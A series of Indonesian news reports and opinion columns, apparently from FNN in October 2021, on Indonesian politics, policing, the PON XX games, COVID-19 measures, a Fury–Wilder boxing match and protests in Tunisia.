Jakarta, FNN - Komisioner Kepolisian Nasional (Kompolnas) Poengky Indarti menyarankan Polri untuk menggunakan bantuan "scientific crime investigation" (CSI) dalam mencari bukti baru kasus rudapaksa tiga anak di bawah umur yang terjadi di Luwu Timur, Sulawesi Selatan. "Dalam melihat kasus Luwu Timur ini, memang penting bagi penyidik untuk mengedepankan asas praduga tak bersalah dan mencari alat bukti dengan bantuan 'scientific crime investigation' (CSI)," kata Poengky saat dikonfirmasi ANTARA di Jakarta, Senin. Menurut Poengky, ada beberapa kasus kriminal serupa (rudapaksa) berhasil diungkap dan dijatuhi hukuman pidana meski kejadian sudah hitungan tahunan. Poengky memberikan artikel berita tahun 2019, di mana Pengadilan Negeri Semarang, Jawa Tengah, menjatuhkan hukuman pidana penjara selama 20 tahun kepada bapak tiri yang telah melakukan rudapaksa terhadap anak tirinya sejak usia 12 tahun. "Kasus di atas itu bisa jadi contoh bahwa penyidik dengan bantuan 'scientific crime investigation' bisa mengungkap kasus perkosaan yang kejadiannya sudah lama sekali, dengan menggunakan tes DNA," ujar Poengky. Selain itu, dalam menuntaskan kasus yang tengah viral ini, kata Poengky, penting bagi Polri untuk menjelaskan kepada publik secara transparan tentang proses yang dilakukan saat penyelidikan dan penyidikan dengan tetap menghormati privasi korban. CSI atau penyidikan berbasis ilmiah adalah satu metode pendekatan penyidikan dengan mengedepankan berbagai disiplin ilmu, katanya. Terkait pencarian alat bukti dengan bantuan CSI, Kepala Biro Penerangan Masyarakat (Karopenmas) Polri Brigjen Pol Rusdi Hartono yang dikonfirmasi secara terpisah mengatakan dalam kasus rudapaksa untuk pengungkapannya melalui cara-cara yang ilmiah. "Tentunya di sini melibatkan dokter yang memahami tentang masalah-masalah seperti ini. Hal ini bagaimana penyelidikan itu dilakukan secara ilmiah," kata Rusdi. Seperti diketahui kasus rudapaksa tiga anak di bawah umur yang diduga dilakukan oleh ayah kandungnya di Luwu Timur viral di media sosial hingga memunculkan gerakan publik untuk membuka kembali kasus yang sudah dua tahun dihentikan. Polri mengklaim penghentian penyelidikan kasus tersebut sudah sesuai prosedur berdasarkan hasil gelar perkara bahwa tidak ditemukan bukti adanya tindak pidana rudapaksa. Menindaklanjuti dorongan masyarakat untuk membuka kembali kasus ini, Polri menyatakan kasus dapat dibuka kembali apabila dalam perjalanan ditemukan bukti baru. Saat ini Polri melalui Bareskrim Polri telah menurunkan Tim Asistensi ke Polda Sulawesi Selatan untuk memberikan pendampingan Polres Luwu Timur guna menuntaskan perkara tersebut. Selain itu, melakukan audit langkah kepolisian yang telah dilakukan penyidik di dalam menangani kasus tersebut dan memberikan asistensi kepada penyidik apabila penyelidikan kasus tersebut didapat alat bukti baru. "Tentunya Polri dan penyidik akan melakukan penyelidikan kembali terhadap kasus ini, tentunya secara profesional, transparan dan akuntabel," kata Rusdi. (sws)

Dewan Perwakilan Daerah Ajak Rakyat Tolak Ambang Batas Calon Presiden 20 Persen

Jakarta, FNN – Dewan Perwakilan Daerah (DPD) RI terus berjuang menghapuskan sistem ambang batas presidensial atau presidential threshold (PT) 20 persen menjadi nol persen. Semua pihak diajak melakukan perlawanan dan menolak secara beramai-ramai sistem yang telah menyebabkan terbelahnya rakyat itu. Pemberlakuannya telah menyebabkan munculnya masalah dalam kepemimpin nasional. “Presidential Threshold telah menimbulkan pembelahan dan mencederai demokrasi,” kata Ketua Kelompok DPD di MPR, Tamsil Linrung kepada FNN. Perbincangan tersebut bisa ditonton di FNN TV YouTube Channel. Ia meyebutkan, PT telah menyebabkan masyarakat terbelah. Hingga sekarang, hal itu (terbelah) masih terasa, meskipun kubu 02 (Prabowo Subianto dan Sandiaga Uno) sudah masuk ke kabinet Jowo Widodo- Ma’ruf Amin. PT itu dimaksudkan agar mereka yang akan maju menjadi calon presiden harus ada batasannya. Padahal, yang diinginkan, setiap orang yang ingin maju menjadi calon presiden sudah benar, tetapi dengan pembatasan melalui kriteria tertentu, bukan membatasi lewat persentasi. Undang-Undang Dasar 1945 yang sudah 4 kali diamandemen, akhirnya membatasi. Pasal 6 (a) benar menyebutkan, calon presiden dan calon wakil presiden diusulkan oleh partai atau gabungan partai peserta pemilihan umum (Pemilu). Kemudian, dibuat satu undang-undang yang menetapkan ambang batas presidensial. UU Nomor 7 Tahun 2017 tentang Pemilu mengatur tentang syarat partai atau gabungan partai yang boleh mengusung pasangan capres dan capres harus memiliki 20 persen kursi di Dewan Perwakilan Rakyat (DPR) atau 25 persen suara sah di tingkat nasional. Menyikapi hal itu, DPD berusaha sekuat tenaga agar PT itu menjadi nol (0) persen. Seluruh elemen masyarakat diminta turut menolak PT 20 persen dan 25 persen. Semestinya, partai-partai peserta pemilu pempersoalkan pembatasan 20 persen atau 25 persen. “Kalau pembatasannya dibuat 60 persen bagaimana? Pembatasan itu menyebabkan terbelahnya masyarakat dan juga di parlemen. Pembelahan tersebut lebih parah dengan pembatasan yang hanya dua pasangan capres dan cawapres. Fenomenanya sekarang terlihat jelas dan masih terasa,” katanya. Sekarang koalisinya sudah kelihatan terbelah. Ada tujuh partai yang dipersilahkan sebagai koalisi istana. Secara keseluruhan tujuh partai itu suaranya 82%. Berarti yang tersisa adalah 18% berarti. Pembelahan itu mengakibatkan yang 18% tidak akan mungkin bisa mengajukan calon karena tidak mencukupi, yaitu Demokrat dan PKS. Terkait dengan PT itu, pihaknya juga sudah siap melakukan uji materi atau yudicial review ke Mahkamah Konstitisi. Ada suara yang menyebutkan tidak memiliki legal standing, karena DPD adalah bagian dari pembuat undang-undang. Terhadap suara sumbang itu, mereka sudah berkonsultasi dengan Hamdan Zoelva, mantan Ketua MK. Intinya, DPD bisa mengajukan uji materi, karena selama ini senator tidak ikut menyetujui UU yang mengatur ambang batas itu. DPD hanya tidak ikut dalam perdebatan sebuah undang-undang, tetapi hanya sebatas mengusulkan dan hanya mempertimbangkan. Jadi, katanya hanya masuk dalam lingkup memperhatikan. “Apakah mungkin diperhatikannya bagaimana? Dilihat amplopnya (usulannya) atau tidak dilihat isinya...” katanya berseloroh. DPD berharap supaya MK betul-betul meninggalkan legesi untuk kehidupan demokrasi yang lebih baik. Berharap seperti itu karena nanti, saya kira ketika datang para guru besar datang mantan ketua MK yang sama-sama mendorong yudicial review. Dalam perkiraannya, dorongan penghapusan terhadap PT itu kian membesar. Apalagi, di dalam MK sudah ada yang sependapat dengan DPD. Misalnya, Saldi Isra setuju dengan pendapat mereka. Ada lagi yang masih setengah hati mendukung. Jika empat dari 9 anggota MK sependapat dengan penghapusan PT, maka tinggal satu lagi diharapkan berbalik (menjadi pro DPD). Bahkan, saya pikir, kalau jernih sekali membaca apa yang menjadi dasar pikiran Saldi Isra (mendukung uji materi) itu, mestinya pimpinan MK dan semua anggotanya lainnya mengikuti. Tamsil juga menjelaskan rencana lembaganya yang akan menyelenggarakan simposium kebangsaan yang berkaitan dengan wacana amandemen Undang-Undang Dasar 1945. Melalui simposium tersebut diharapkan bisa diperoleh konstitusi negara yang ideal, sehingga Indonesia ke depan betul-betul bisa menjalankan demokrasi dengan baik. “Seluruh anggota DPD akan bergerak menyerap aspirasi masyarakat mengenai amandemen tersebut. Kami ingin kalibrasi atau meluruskan kiblat bangsa, sehingga tepat,” kata Tamsil Linrung. (MD/M.Anwar Ibrahim-Job).

Anies Baswedan Semangati Atlet Ibu Kota di Jayapura

Jakarta, (FNN) - Gubernur DKI Jakarta Anies Baswedan menyemangati atlet Ibu Kota yang sedang bertanding dalam Pekan Olahraga Nasional (PON) XX, di Papua. Senin, 11 Oktober 2021 pagi kemarin, ia berangkat ke Jayapura, menemui atlet dan ofisial, seerta berdialog dengan mereka. ."Insya Allah ini akan menjadi pijakan untuk prestasi lebih baik lagi," kata Anies Baswedan kepada para atlet DKI melalui akun instagram @aniesbaswedan dipantau di Jakarta, Senin, 11 Oktober 2021. ​​Anies tiba di Jayapura, Senin pagi dan bertemu dengan sejumlah atlet dan ofisial panahan, serta sepak takraw di Bandara Sentani yang akan kembali ke Jakarta usai bertanding pada PON XX Papua. Mantan Menteri Pendidikan dan Kebudayaan tersebut mengucapkan terima kasih kepada para atlet yang berjuang membawa nama DKI pada ajang PON XX Papua. "Bawa cerita, pengalaman ini untuk menjadi pelajaran bagi semuanya," ucapnya. Kepada para atlet tersebut Anies mengaku memantau perkembangan para atlet DKI. Bahkan, sebelum pembukaan PON XX Papua. "Sejak mulai sebelum pembukaan, kami menyaksikan terus semangat teman-teman. Terima kasih atas nama warga Jakarta," ujar Anies. PON XX di Papua berlangsung mulai 2 Oktober hingga 15 Oktober 2021. Hingga Ahad, 10 Oktober 2021, pukul 21.13 Waktu Indonesia Tumur, DKI Jakarta menempati urutan ketiga setelah Jawa Barat dan Jawa Timur. Atlet Ibu Kota berhasil meraih 201 medali, terdiri dari 72 emas, 58 perak dan 71 perunggu. Sedangkan poisi pertama masih dipegang Jawa Barat dengan 21 medali, dan posisi kedua Jawa Timur dengan 193 medali. ebelumnya, DKI Jakarta berada di posisi puncak perolehan medali PON XX Papua. Kemudian disalip Jawa Barat. (MD).

Kedunguan di Sekitar Kita

Oleh: Daniel Mohammad Rosyid Diwawancarai Najwa Shihab, menanggapi sikap Brigjen Junior Tumilaar terkait dengan sebuah sengketa tanah di Sulawesi Utara belum lama ini, Gubernur Lemhanas Jendral Purn Agus Wijoyo membenarkan pembebasan tugas Junior Tumilar oleh pimpinan TNI. Menurut Agus, Junior telah salah didik karena masih meyakini bahwa tentara seharusnya bersatu dengan rakyat sesuai slogan TNI Kuat Bersama Rakyat, sehingga Junior membantu Babinsa binaannya untuk membela kepentingan rakyat melawan sebuah pengembang besar dalam sebuah sengketa tanah. Masih menurut Agus, sejak reformasi, karena Presiden dipilih langsung oleh rakyat, maka rakyat pemilih sekarang adalah milik Presiden. Karena rakyat tidak pernah memilih panglima TNI secara langsung, maka rakyat bukan milik TNI seperti dalam konsep Dwi Fungsi ABRI dahulu. Pernyataan Agus yang terakhir ini tentu untuk mendukung sikap pimpinan TNI dalam pemecatan Junior Tumilaar ini. Sikap purnawirawan Jendral yang kini menjabat sebagai Gubernur Lemhanas ini perlu dicermati. Lemhanas memang sebuah institusi untuk menyiapkan banyak calon pejabat publik negeri ini. Apakah kini, sejak reformasi, Lemhanas menjadi instrumen untuk menjauhkan aparat sipil dan militer dari rakyat, terutama rakyat kecil ? Tentara dijadikan profesional seperti polisi dan guru berdasar kontrak dan dibayar oleh Pemerintah? Lalu rakyat dijadikan sekedar konsumen pelayanan publik sejak pertanahan, pendidikan, kesehatan, keamanan sampai pertahanan sekalipun? Carut-marut sengketa pertanahan, dan penguasaan tanah gila-gilaan, yang kini masih banyak terjadi adalah wajah buruk maladministrasi publik negeri ini. Perkembangan mutakhir sejak reformasi ini perlu dicermati karena proses-proses pengambilan keputusan dan kebijakan makin menjauh dari nilai-nilai luhur dalam dasar filsafah negara yang termaktub dalam Pembukaan UUD1945. Bahkan setelah amandemen sejak reformasi, kerangka batang tubuh UUD1945 sudah dibongkar habis sehingga lepas dari jiwa Pembukaan UUD1945. Sejak itulah, hampir seluruh perundang-undangan dan regulasi bersifat liberal kapitalistik yang menjadi sumber krisis maladministrasi publik di mana hukum dibuat dan ditafsirkan bukan untuk kepentingan publik tapi untuk kepentingan elite penguasa. Sementara itu, Pemilu semakin menjadi instrumen net transfer hak-hak politik publik pemilih ke partai-partai politik. Pantaslah jika setelah Pemilu, kehidupan publik pemilih justru semakin memilukan. Apa yang bisa lebih memilukan jika tanah rakyat kecil dirampas oleh aparat untuk kepentingan pemodal besar? Sejak bangsa ini hidup di atas UUD 2002 itulah deformasi kehidupan berbangsa dan bernegara makin menjadi-jadi. Hampir semua hubungan antara rakyat dengan negara telah disubkontrakkan ke Pemerintah yang dipilih melalui Pemilu. Tidak heran jika rakyat bukan lagi pemilik kedaulatan karena kedaulatan itu telah diserahkan sepenuhnya ke Presiden yang dipilihnya secara langsung. Begitu juga pendidikan, kesehatan, keamanan dan pertahanannya sudah diserahkannya ke organ-organ Pemerintah. Atas alasan kedaruratan kesehatan, dan banyak alasan lain yang direkayasa, vaksinasi massal paksa dilakukan. Namun ada satu masalah serius: publik pemilih masih harus membayar pajak, cukai dan retribusi untuk membayar gaji aparat pemerintah itu, dan dibujuk untuk ikut Pemilu yang sering disebut sebagai pesta demokrasi itu. Suatu ketika, pemilupun bisa dipaksakan secara massal untuk merekrut pemerintah sebagai necessary evil secara sah. Mungkin rangkaian peristiwa yang menghina kecerdasan ini bisa diterima oleh warga negara dungu. Seperti Lenin dulu pernah memelihara banyak useful idiots yang bukan anggota Partai Komunis USSR namun bersedia pasang badan demi melindungi gerakan komunis untuk menggusur Tsar Nikolas, saya berharap Lemhanas tidak dijadikan lembaga penghasil useful idiots semacam itu. Sementara sering terdengar kabar bahwa di Lemhanas orang ini sangat tidak populer, penting mengingat wejangan Sayidina Ali menantu Muhammad Rasulullah yang mengatakan bahwa jika kita tidak mau menanggung penderitaan dalam belajar kita harus siap menerima penderitaan akibat kedunguan kita. Penulis adalah Guru Besar ITS Surabaya, Rosyid College of Arts

Sekolah di Medan Mulai Terapkan Pembelajaran Tatap Muka Terbatas

Medan, FNN - Sekolah menengah pertama (SMP) di Kota Medan, Sumatera Utara mulai menerapkan pembelajaran tatap muka (PTM) secara terbatas pada Senin, setelah wilayah tersebut masuk kategori pemberlakuan pembatasan kegiatan masyarakat (PPKM) Level 2. Pelaksana Tugas Kepala Dinas Pendidikan Kota Medan Topan Ginting, di Medan, Senin, mengatakan pembelajaran tatap muka ini dilaksanakan secara serentak di sekolah menengah pertama negeri maupun swasta yang ada di Kota Medan, dengan menerapkan protokol kesehatan secara ketat. "Untuk total sekolah negeri ada 45, itu semua sudah boleh melaksanakan pembelajaran tatap muka hari ini. Sedangkan sekolah swasta hampir semua, sekitar 200 itu sudah boleh juga," katanya saat meninjau pelaksanaan pembelajaran tatap muka di SMPN 3 Medan. Dalam pelaksanaannya, kata dia, masing-masing sekolah membatasi jumlah siswa di setiap kelas hanya diisi 10 orang. Sementara untuk durasi belajar siswa di sekolah hanya berlangsung selama tiga jam tanpa ada waktu istirahat. Selain itu, kegiatan upacara bendera, olahraga serta ektrakurikuler untuk sementara ditiadakan selama masa pembelajaran tatap muka terbatas. Para siswa juga diarahkan untuk membawa perlengkapan pribadi yang berkaitan dengan protokol kesehatan, mulai dari masker hingga hand sanitizer serta membawa makanan masing-masing. "Ini semua sudah ada dalam SOP pembelajaran tatap muka. Di mana, mengatur mulai siswa berangkat dari sekolah sampai pulang. Itu semua sudah kita atur, bagaimana peserta didik bertindak dan bersikap selama masa pandemi," ujarnya. Sementara itu untuk metode pembelajaran dilakukan secara campuran atau hybrid, yakni gabungan antara pembelajaran tatap muka dengan pembelajaran dalam jaringan. "Jadi pada saat bersamaan siswa yang belajar secara ofline atau luring itu bersama dilakukan secara daring dari rumah. Sehingga diharapkan antarsiswa bisa berinteraksi," ujarnya. (sws)

ASN dan Tenaga Kontrak Bone Bolango Segera Bekerja di Kantor

Gorontalo, FNN - Seluruh aparatur sipil negara (ASN) dan tenaga kontrak Pemerintah Kabupaten Bone Bolango, Gorontalo, mulai pekan depan akan segera melaksanakan work from home (WFO) atau bekerja di kantor. Keputusan tersebut diambil setelah Kabupaten Bone Bolango dinyatakan zona hijau dari penyebaran COVID-19 yang disampaikan langsung oleh Wakil Bupati Bone Bolango Merlan S. Uloli saat apel kerja di Alun-Alun Kabupaten Bone Bolango, Senin. Merlan mengatakan bahwa pelaksanaan WFO oleh ASN dan tenaga kontrak dilaksanakan dengan tetap perhatikan protokol kesehatan (prokes) seperti pakai masker serta menjaga jarak. "Mulai minggu depan tidak ada lagi yang WFH semua masuk, baik honorer, staf, maupun eselon 3 dan 4 semua harus masuk," kata Wabup Merlan. Wakil Bupati menuturkan bahwa seluruh ASN dan tenaga kontrak serta masyarakat harus membiasakan diri berdampingan dengan pandemi COVID-19. Menurut dia, yang harus dikejar sekarang adalah capaian herd immunity melalui pelaksanaan vaksinasi yang ditargetkan akhir bulan Oktober 2021 bisa capai 70 persen. "Ini yang akan dikejar bukan hanya terus berdiam diri di rumah lagi. Kita harus membiasakan diri hidup dengan COVID-19 ini dengan tetap prokes dan menjaga imunitas tubuh kita makanan dijaga, istrahat yang baik ini harus dijadikan gaya hidup kita," katanya. Merlan menambahkan bahwa pelaksanaan WFO ini akan menyesuaikan dengan kondisi penyebaran COVID-19 di Kabupaten Bone Bolango. Jika masuk zona merah kembali, akan diberlakukan lagi WFH. (sws)

Kemenag Lebak Optimalkan Pembinaan Ponpes Cegah Terorisme

Lebak, FNN - Kementerian Agama Kabupaten Lebak, Banten, mengoptimalkan pembinaan pondok pesantren guna mencegah penyebaran paham ajaran terorisme dan radikalisme yang berpotensi memecah belah persatuan dan kesatuan bangsa. "Hingga hari ini tidak ditemukan ponpes yang penyebar terorisme dan radikalisme, " kata Kepala Kasubag Kemenag Lebak Sudirman di Lebak, Senin. Pembinaan ponpes yang ada di Kabupaten Lebak tercatat 1.094 lembaga tersebar di 28 kecamatan hingga kini berjalan baik melaksanakan pendidikan kegiatan pendalaman ilmu-ilmu agama Islam. Sebagian besar ponpes salafi yang dikelola secara tradisional juga ada yang modern dengan dipadukan bahasa Inggris. Meski demikian, hingga kini ponpes tersebut tidak ada yang menyimpang maupun mengembangkan ajaran terorisme dan radikalisme. Mereka ponpes tersebut melakukan kegiatan pendidikan agama Islam sesuai dengan kurikulum Kemenag juga kurikulum pesantren bersangkutan. Ia mengatakan bahwa pesantren yang memiliki kurikulum sendiri ponpes salafi dengan pola pembelajaran mendengar dan menalar baik belajar membaca Alquran dan hadis juga ilmu bahasa Arab. "Semua ponpes itu mengembangkan ajaran Islam yang baik dan benar berdasarkan Alquran dan hadis," katanya menjelaskan. Menurut dia, pembinaan ponpes itu dilakukan Kemenag Lebak melalui penyuluh tenaga honorer juga penyuluh fungsional berstatus pegawai negeri yang bertugas di masing-masing kantor urusan agama ( KUA) . Mereka petugas penyuluh itu selain membina tentang pendidikan agama Islam juga menyampaikan nilai-nilai patriotisme kecintaan terhadap Negara Kesatuan Republik Indonesia ( NKRI). Selama ini, kata dia, kehadiran ponpes sangat mencintai NKRI yang berpedoman ideologi Pancasila. Oleh karena itu, hingga kini tidak ada satu pun ponpes di daerah ini yang mengembangkan paham sesaat, seperti terorisme dan radikalisme. "Kami mendorong ponpes di sini terus mengembangkan sumber daya manusia yang berakhlak dan religius," katanya menjelaskan. Sementara itu, Wakil Ketua Majelis Ulama Indonesia (MUI) Kabupaten Lebak K.H. Ahkmad Hudori menyatakan selama ini lembaga ponpes dapat berperan aktif untuk menangkal terorisme dan radikalisme. Kehadiran ponpes mencetak mencerdaskan anak-anak bangsa yang memiliki ilmu pengetahuan agama Islam juga karakter akhlak mulya. MUI Lebak menjamin ponpes di Lebak tidak mengembangkan radikalisme maupun terorisme sebab ajaran agama melarang paham radikal dan terorisme, bahkan perbuatan itu haram. Ajaran Islam di dunia adalah agama rahmatan lil alamin dengan mencintai kedamaian, kerukunan, saling menghormati, dan toleransi di tengah perbedaan keyakinan agama, suku, etnis, budaya, dan bahasa. "Kami yakin ponpes di sini tidak ada satu pun yang mengajarkan radikalisme atau kekerasan," katanya. (sws)

Ketua Umum KONI Tinjau Pertandingan PON Papua di Merauke

Jayapura, FNN - ​​​​​Ketua Umum Komite Olahraga Nasional Indonesia (KONI) Pusat Letjen TNI Purn Marciano Norman bertolak ke Kabupaten Merauke untuk meninjau Pekan Olahraga Nasional (PON) XX Papua di Klaster Merauke. Menurut keterangan tertulis Humas KONI, Senin, setiba di Merauke, Marciano akan menyaksikan laga final sepak bola putri antara tuan rumah Papua dan Jawa Barat. Pertandingan digelar pukul 14.30 WIT di Stadion Katapal dan menjadi laga terakhir dari rangkaian pertandingan sepak bola putri yang dimulai sejak 3 Oktober lalu. Di luar sepak bola putri, secara keseluruhan klaster Kabupaten Merauke mempertandingkan enam cabang olahraga, antara lain catur, gulat, anggar, bermotor, dan wushu. Tiga cabang olahraga terakhir sudah menyelesaikan pertandingan. Pertandingan yang masih berlangsung adalah catur dan gulat. Catur yang dipertandingkan di Ballroom Hotel Swissbell digelar pada 4–13 Oktober 2021, sedangkan gulat digelar di GOR Futsal Dispora pada 8–14 Oktober 2021. Dalam kunjungan di Merauke, Ketum KONI didampingi Wakil Ketua Umum II Mayjen TNI Purn Soedarmo, Wakil Ketua Umum IV Chris John, Sekretaris Jenderal Drs. Tb. Lukman Djajadikusuma, MEMOS, dan Staf Ahli Ketua Umum KONI Pusat bidang Komunikasi Publik Dr. Aqua Dwipayana. Sebelumnya dia meninjau beberapa pertandingan di Kota Jayapura dan Kabupaten Jayapura, serta memantau klaster Kabupaten Mimika pada 6–7 Oktober 2021. Di Mimika, rombongan sudah melihat langsung berbagai pertandingan yang antara lain atletik, panjat tebing, biliar, terjun payung, basket 5 x 5 dan tarung derajat. (sws)

Polda Jambi Imbau Sopir Ikuti Aturan Pengangkutan Batu Bara

Jambi, FNN - Setelah beberapa hari dilakukan patroli dan penindakan terhadap angkutan batu bara, saat ini para sopir truk batu bara sudah mulai tertib terhadap peraturan dan diimbau untuk tetap mematuhi aturan pengangkutan batu bara yang sudah disepakati bersama. Dirlantas Polda Jambi, Komisaris Besar Polisi Heru Sutopo, di Jambi, Senin, mengatakan, setelah diadakan beberapa hari patroli kesadaran para pengendara angkutan batu bara mulai timbul dan diminta tetap patuhi aturan yang ada. Dalam beberapa malam terkahir ini terlihat para petugas mengatur lalu lintas agar tidak terjadi penumpukan bahkan kemacetan di terminal angkutan barang di Pal X, Kecamatan Kota Baru, Jambi, Provinsi Jambi. "Namun demikian kepolisian akan tetap untuk kegiatan malam hari ini yaitu patroli antisipasi kemacetan antisipasi antrian panjang truk pengangkut batu bara," kata dia. Ditlantas Polda Jambi tidak menindak angkutan batubara agar tidak terjadi kemacetan di terminal angkutan barang. Selain itu, dari evaluasi dari beberapa Polres yang wilayahnya ada tambang batubara atau dilewati angkutan batubara disana juga menindak mereka, terutama tentang pelanggaran jam operasional. "Dan hari ini sangat menurun para pengendara melanggar jam operasional, jadi mulai tertib," kata dia. Semoga para pengendara angkutan batu bara sadar, karena penertiban ini dilakukan untuk kepentingan masyarakat banyak, karena dibeberapa kejadian kecelakaan disebabkan oleh truk angkutan batu bara. "Kita berharap pengendara mempunyai kesadaran dan disiplin lalu lintas, namun apabila masih ada pengendara angkutan batubara yang melanggar peraturan gubernur terkait jam operasional, kalau masih melakukan kucing kucingan dengan petugas, kita akan melakukan patroli setiap hari," kata dia. (sws)

Trilogi Tyson Fury vs Deontay Wilder, Mental Menyungkurkan Wilder

Oleh M. Nigara BRUUUK! Berakhir sudah upaya Deontay Wilder untuk merebut kembali sabuk juara WBCnya yang dirampas Tyson Fury, di laga kedua (22/2/2020). Laga pertama (1/12/2018) berakhir draw, namun menyisakan kontroversi. Pertarungan dua jagoan kelas berat itu digelar Sabtu malam atau Ahad pagi waktu Indonesia (10/10/2021) di T-Mobile Arena, Las Vegas, Nevada, USA. Ini merupakan laga ketiga dan Fury mengulang suksesnya seperti di laga kedua. 'Raksasa' dari Inggris itu merontokkan sang lawan pada ronde 11 dengan TKO. Di laga kedua, Fury membungkam Wilder di ronde ke-7. Mental Secara fisik dan teknik, Wilder sesungguhnya memiliki kelebihan dari Fury. Pukulannya sangat keras, kecepatannya pun, luar biasa. Selain itu, pukulannya juga lebih komplit. Fury dengan tinggi 206 cm, jangkauan hingga 216 cm, dan berat 125,6 kg, terkesan lebih lambat. Tapi, bobot pukulannya jauh lebih berat. Wilder sendiri dengan tinggi, 201 cm dan berat 107 kg, secara teori harusnya bisa lebih lincah. Apalagi ia memiliki footwork yang lumayan baik. Wilder juga biasa memanfaatkan ring secara maksimal. Tapi, di laga ke-3, semua teori tak berjalan dengan baik, khususnya bagi Wilder. Petinju asal Tuscaloosa, Alabama, USA, itu terjatuh di ronde 3. Sementara Fury sendiri dua kali tersungkur di ronde ke-4. Dalam laga yang dipentaskan oleh duet promotor, Tom Brown dan Bob Arum itu, mental tampaknya yang menjadi kendala bagi Wilder. Meski memiliki catatan ring jauh lebih baik ketimbang Fury, 42 kali menang dan 41 kali melalui kemenangan KO/TKO, Wilder tetap tak mampu mengatasi naik-turun mentalnya. Dalam posisi seperti itu, siapapun dan sehebat serta sekuat apa pun seorang petinju, menjadi lebih mudah untuk ditaklukkan. Dengan mental yang tak kokoh, benturan perlahan pun bisa berdampak besar. Sebaliknya, dengan kekuatan mental, seorang petinju meski sudah dua kali terjatuh dalam satu ronde, ia bisa bangkit. Hal itu diperlihatkan dengan jelas oleh Fury. Dua kali terjatuh di ronde ke-4, Fury mampu melewati ronde dramatik itu. Bahkan Fury mampu mengendalikan pertarungan hingga ronde ke-11 sebelum ia menyudahi perlawanan Wilder dan Wasit Russell Mora menyatakan Wilder KO. Dari catatan Compobox, Fury terlihat unggul dengan melepaskan 385 pukulan dan mendarat 150 kali atau sekitar 39 persen, sementara Wilder hanya melepaskan 355 pukulan dan mendarat 20 persen saja. Tiga juri yang bertugas, Dave Moretti memberikan 95-91, Steve Weisfield 95-92, dan Tim Cheatham memberikan nilai hingga ronde 10, 94-92, seluruhnya untuk Fury. Hebatnya Fury meski sempat ditawar oleh promotor lain sebesar 100 juta USD atau sekitar Rp 1,4 triliun untuk lima pertandingan, ia bergeming tetap memilih jadi orang merdeka. Di laga pertama, Wilder memperoleh 4 juta USD, Fury 3 juta. Namun keduanya memperoleh tambahan dari seluruh keuntungan laga, masing-masing 14 juta dan 10,25 juta USD. Total pemasukan kotor di laga pertama mencapai 600 juta USD sekitar Rp 9,6 triliun. Pertanyaannya, mungkinkah keduanya kembali bertemu? Hanya Fury dan Wilder yang tahu. Penulis adalah wartawan Olahraga Senior, Komentator Tinju TVOne.

Ribuan Warga Tunisia Turun ke Jalan Memprotes Presiden Yang Sewenang-Wenang

Tunisia, FNN - Ribuan warga Tunisia pada Minggu (10/10) berunjuk rasa di ibu kota negara, Tunis, untuk memprotes Presiden Kais Saied, yang merebut hampir semua kekuasaan di luar wewenangnya. Aksi penentangan itu berlangsung pada saat semakin banyak orang turun ke jalan dalam beberapa minggu belakangan ini hingga meningkatkan kemungkinan kemunculan krisis politik yang dapat memicu kerusuhan. Seminggu setelah ribuan orang berdemonstrasi untuk mendukung Saied, jumlah penentangnya yang kian banyak memperbesar kemungkinan perpecahan politik Tunisia menjadi konfrontasi jalanan antara kubu-kubu yang bersaing. Saied pada Juli memberhentikan perdana menteri, menangguhkan parlemen, dan mengambil alih kekuasaan eksekutif dalam gerakan yang oleh musuhnya disebut kudeta. "Kami tidak akan menerima kudeta. Cukup sudah," kata Yassin ben Amor, seorang pengunjuk rasa. Kehadiran polisi dalam jumlah besar menghentikan pawai di Habib Bourguiba Avenue di Tunis tengah. Meskipun beberapa pengunjuk rasa melemparkan botol plastik, tidak ada bentrokan. Juru bicara Kementerian Dalam Negeri Khaled Hayouni mengatakan polisi akan menangani pengunjuk rasa dari kedua belah pihak dengan cara yang sama. "Polisi Tunisia adalah polisi republik dan tidak mengintervensi sisi politik mana pun," katanya. Pada September, Saeid mengesampingkan sebagian besar aturan konstitusi, yang dia katakan akan diperbaiki dengan menunjuk sebuah komite, seraya menambahkan bahwa dia bisa memerintah dengan dekrit. Intervensinya tampak didukung rakyat setelah negara itu bertahun-tahun mengalami stagnasi ekonomi dan kelumpuhan politik. Namun, campur tangannya menimbulkan keraguan atas manfaat demokrasi yang diupayakan oleh rakyat Tunisia selama revolusi 2011. Revolusi tersebut memicu kemunculan demo besar-besaran Musim Semi Arab. "Kami menentang kudeta ... Kami menolak pidato perpecahan," kata Jaouhar Ben Mbarek, seorang aktivis terkemuka dan penyelenggara utama aksi protes terhadap Saied. Mbarek mengatakan mereka harus setia kepada orang-orang yang gugur dalam revolusi 2011. Saied telah menunjuk Najla Bouden Romdhane sebagai perdana menteri. Tetapi, Romdhane belum membentuk pemerintahan kendati Saeid mengatakan pada Sabtu (9/10) bahwa Romdhane akan segera melakukannya. Pembentukan kabinet merupakan langkah awal yang penting untuk setiap upaya menyelesaikan krisis yang menjulang di sektor keuangan publik Tunisia. Selama pertemuan pada Sabtu bersama menteri dalam negeri sementara Ridha Gharsaloui, Saied mengatakan akan memulai dialog dengan rakyat Tunisia mengenai masa depan negeri. Dialog apa pun yang tidak melibatkan partai politik besar atau elemen masyarakat sipil mapan lain, seperti serikat pekerja yang kuat, kemungkinan akan mendorong oposisi yang lebih terbuka terhadap langkahnya. Negara-negara Barat pendonor, yang diperlukan untuk mencegah runtuhnya keuangan publik Tunisia, telah menyerukan proses pelibatan semua pihak untuk mengakhiri periode krisis dengan membuat jadwal waktu yang jelas. Dengan manuver politik yang bergerak sangat lambat dalam membahas masa depan Tunisia, Saied meminta massa yang berdemonstrasi agar mendukung posisinya. Pekan lalu, lebih dari 8.000 demonstran berunjuk rasa di Tunis untuk mendukung Saied, kata wartawan Reuters dan kantor berita negara. Keesokan harinya, Saied mengatakan 1,8 juta orang telah turun ke jalan untuk mendukungnya. (Reuters)

Sedikitnya 45 Atlet dan Ofisial PON XX Papua Positif Covid-19

